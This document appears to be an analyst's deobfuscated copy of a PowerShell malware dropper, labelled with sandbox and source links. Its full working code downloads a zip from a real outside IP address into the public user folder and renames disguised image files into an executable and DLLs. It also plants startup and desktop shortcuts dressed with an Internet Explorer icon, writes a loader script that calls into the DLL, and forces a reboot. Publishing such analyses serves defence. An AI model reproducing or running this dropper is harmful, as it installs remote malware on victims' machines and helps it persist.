# deobfuscated pseudocode from http://51.75.142.21/l2406/uk/kk/20938092830482 - https://app.any.run/tasks/82c788e9-0d5e-4202-bc4b-7952bcbd27bf/
# exe
$EXE = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZQB4AGUA')))
# zip
$ZIP = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('egBpAHAA')))
# http://51.91.248.86/uk/M2406/kk/md.zip
$MALZIP = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwA1ADEALgA5ADEALgAyADQAOAAuADgANgAvAHUAawAvAE0AMgA0ADAANgAvAGsAawAvAG0AZAAuAHoAaQBwAA==')))
$PUBLIC = "public"
$USERSPUBLIC = "c:\users\$PUBLIC"
Function MAKE_RAND_NAME {
$KEY_CHAR = "q","w","e","r","t","y","u","p","a","s","d","f","g","h","j","k","z","x","c","v","b","n","m"
$KEY_NUM = "2_","3_","4_","5_","6_","7_","8_","9_"
$RAND_NAME = $null
$RAND_CHAR_6 = Get-Random -InputObject $KEY_CHAR -Count 6
$RAND_NUM = Get-Random -InputObject $KEY_NUM -Count 1
$RAND_CHAR_1 = Get-Random -InputObject $KEY_CHAR.ToUpper() -Count 1
foreach($n in $RAND_CHAR_6) {
$RAND_NAME += $n
}
foreach ($n2 in $RAND_NUM) {
$RAND_NAME += $n2
}
foreach ($n3 in $RAND_CHAR_1) {
$RAND_NAME += $n3
}
return "Java_$RAND_NAME"
}
$MAL_FOLDER = MAKE_RAND_NAME
$MAL_STARTFILE = "$USERSPUBLIC\i.dat"
$CHECK_MALFILE = if ($MAL_STARTFILE) { Test-Path $MAL_STARTFILE }
$CHECK_MALFILE
if($CHECK_MALFILE -eq 'True'){
exit
}else{
New-Item -ItemType directory -Path $USERSPUBLIC\$MAL_FOLDER
$OBJ_DOWNLOAD = new-object System.Net.WebClient
$OBJ_DOWNLOAD.DownloadFile($MALZIP,"$USERSPUBLIC\$MAL_FOLDER\$MAL_FOLDER.zip")
$OBJ_APPLICATION = new-object -com shell.application
$MAL_ZIP = $OBJ_APPLICATION.namespace("$USERSPUBLIC\$MAL_FOLDER\$MAL_FOLDER.$ZIP")
$MAL_UNPACK = $OBJ_APPLICATION.namespace("$USERSPUBLIC\$MAL_FOLDER")
$MAL_UNPACK.Copyhere($MAL_ZIP.items())
Rename-Item -NewName ("$USERSPUBLIC\$MAL_FOLDER\$MAL_FOLDER.$EXE") -Path ("$USERSPUBLIC\$MAL_FOLDER\$EXE.png")
Rename-Item -NewName ("$USERSPUBLIC\$MAL_FOLDER\$MAL_FOLDER.LNS") -Path ("$USERSPUBLIC\$MAL_FOLDER\12.dll")
Rename-Item -NewName ("$USERSPUBLIC\$MAL_FOLDER\sqlite3.dll") -Path ("$USERSPUBLIC\$MAL_FOLDER\sql.png")
function MAKE_BAD
{
Param([string]$BAD_LNK,[string]$NOT_USED_1);
try{
$OBJ_MAKE = New-Object -ComObject WScript.Shell
$MAL_IE_LNK = $OBJ_MAKE.CreateShortcut($BAD_LNK)
$MAL_IE_LNK.TargetPath = "$USERSPUBLIC\$MAL_FOLDER\$MAL_FOLDER.$EXE"
$MAL_IE_LNK.Arguments = " $MAL_FOLDER1.LNS $MAL_FOLDER"
$MAL_IE_LNK.WorkingDirectory = "$USERSPUBLIC\$MAL_FOLDER"
$MAL_IE_LNK.WindowStyle = 7
# %ProgramFiles%\Internet Explorer\iexplore.exe,1
$MAL_IE_LNK.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlAC4AZQB4AGUALAAxAA==')))
$MAL_IE_LNK.Save()
}finally{}
}
$SHELL = New-Object -Com WScript.Shell
# startup
$STARTUP.SpecialFolders.Item($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGEAcgB0AHUAcAA='))));
del $UNKNOWN_STR\*.vbs
del $UNKNOWN_STR\*.lnk
$ENV_APPDAT = " $env:APPDATA\$NOT_USED_2, $NOT_USED_3"
$BAD_LNK = "$UNKNOWN_STR\$MAL_FOLDER.lnk"
MAKE_BAD $BAD_LNK $ENV_APPDAT
MAKE_BAD "c:\users\public\c.lnk" $ENV_APPDAT
$bytes = [System.IO.File]::ReadAllBytes("c:\users\public\c.lnk")
$bytes[0x15] = $bytes[0x15] -bor 0x20 #set byte 21 (0x15) bit 6 (0x20) ON
[System.IO.File]::WriteAllBytes("c:\users\public\c.lnk", $bytes)
function MAKE_BAD_2
{
Param([string]$BAD_LNK,[string]$STR_WTF);
try{
$OBJ_MAKE = New-Object -ComObject WScript.Shell
$LNK_INTERNET = $OBJ_MAKE.CreateShortcut($BAD_LNK)
$LNK_INTERNET.TargetPath = "c:\users\$PUBLIC\$MAL_FOLDER.vbs"
$LNK_INTERNET.Arguments = ""
# "Acessar a internet."
$LNK_INTERNET.Description = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('IgBBAGMAZQBzAHMAYQByACAAYQAgAGkAbgB0AGUAcgBuAGUAdAAuACIA')));
$LNK_INTERNET.WorkingDirectory = ""
$LNK_INTERNET.IconLocation = "$NOT_USED_4"
$LNK_INTERNET.Save()
}finally{}
}
$MAL_DAT = $MAL_FOLDER
$MAL_DAT | Set-Content "$USERSPUBLIC\i.dat"
$MAL_DAT | Out-File "$USERSPUBLIC\i.dat"
$MAL_DAT > "$USERSPUBLIC\i.dat"
$BAD_LNK = "c:\users\public\chrome.lnk"
MAKE_BAD_2 $BAD_LNK $STR_WTF
# Line
$LINE = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TABpAG4AZQA=')))
# Cmd
$CMD = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwBtAGQA')))
$NUM_86 = '86'
$OBJ_$ = "$"
$Arquivo = "$USERSPUBLIC\$MAL_FOLDER\$MAL_FOLDER1.LNS"
$ArquivoSaida ="$USERSPUBLIC\$MAL_FOLDER\$MAL_FOLDER1.LNS"
Add-Content $Arquivo '#NoTrayIcon'
Add-Content $Arquivo "Global $OBJ_$$MAL_FOLDER = $OBJ_$$CMD$LINE[1]"
Add-Content $Arquivo "Global $OBJ_$$MAL_FOLDER$NUM_86 = DllOpen('$MAL_FOLDER.LNS')"
Add-Content $Arquivo "DllCall($OBJ_$$MAL_FOLDER$NUM_86, 'STRUCT', 'JLI_CmdToArgs')"
C:\WINDOWS\system32\shutdown.exe -r -t 200
}
Comments